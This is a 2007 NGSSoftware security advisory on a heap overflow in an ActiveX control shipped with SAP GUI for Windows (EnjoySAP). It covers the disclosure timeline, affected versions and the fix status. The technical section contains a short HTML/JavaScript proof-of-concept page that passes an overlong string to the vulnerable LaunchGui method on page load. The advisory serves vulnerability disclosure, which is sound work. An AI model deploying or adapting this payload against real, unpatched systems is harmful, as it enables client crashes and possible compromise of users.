NGS-enjoysap-heap.txt
Posted on 07 July 2007
======= Summary ======= Name: EnjoySAP, SAP GUI for Windows - Heap Overflow Release Date: 5 July 2007 Reference: NGS00482 Discover: Mark Litchfield <mark@ngssoftware.com> Vendor: SAP Vendor Reference: SECRES-290 Systems Affected: All ASCII Versions Risk: High Status: Fixed ======== TimeLine ======== Discovered: 4 January 2007 Released: 19 January 2007 Approved: 29 January 2007 Reported: 12 January 2007 Fixed: 27 March 2007 Published: =========== Description =========== EnjoySAP, also know as Enjoy is the most popular SAP GUI used today. The latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/ When installing EnjoySAP, in appreciation of its vast size for being a client (around 500MB), there are an astounding 1102 ActiveX controls installed. A relatively brief examinaton of these controls, found a large number of instances that would terminate EnjoySAP process, there were a number that could create files on the file system (there unfortunately exists no ability to inject content into these created files) and a number of bufferoverruns. ================= Technical Details ================= Control - rfcguisink.rfcguisink.1 Function - LaunchGui POC: <HTML> <HEAD> <META http-equiv=Content-Type content="text/html; charset=windows-1252"> <SCRIPT type=text/javascript> function init() { var foo = ""; for(var icount = 0; icount < 1800; icount++) { foo = foo + "x"; } var ngssoftware; ngssoftware = new ActiveXObject("rfcguisink.rfcguisink.1"); ngssoftware["LaunchGui"](foo, 1, 1); } //--> </SCRIPT> </HEAD> <BODY bgColor=#ffffff onload=init()> </BODY></HTML> =============== Fix Information =============== Please ensure you are running the latest version NGSSoftware Insight Security Research http://www.ngssoftware.com/ http://www.databasesecurity.com/ http://www.nextgenss.com/ +44(0)208 401 0070
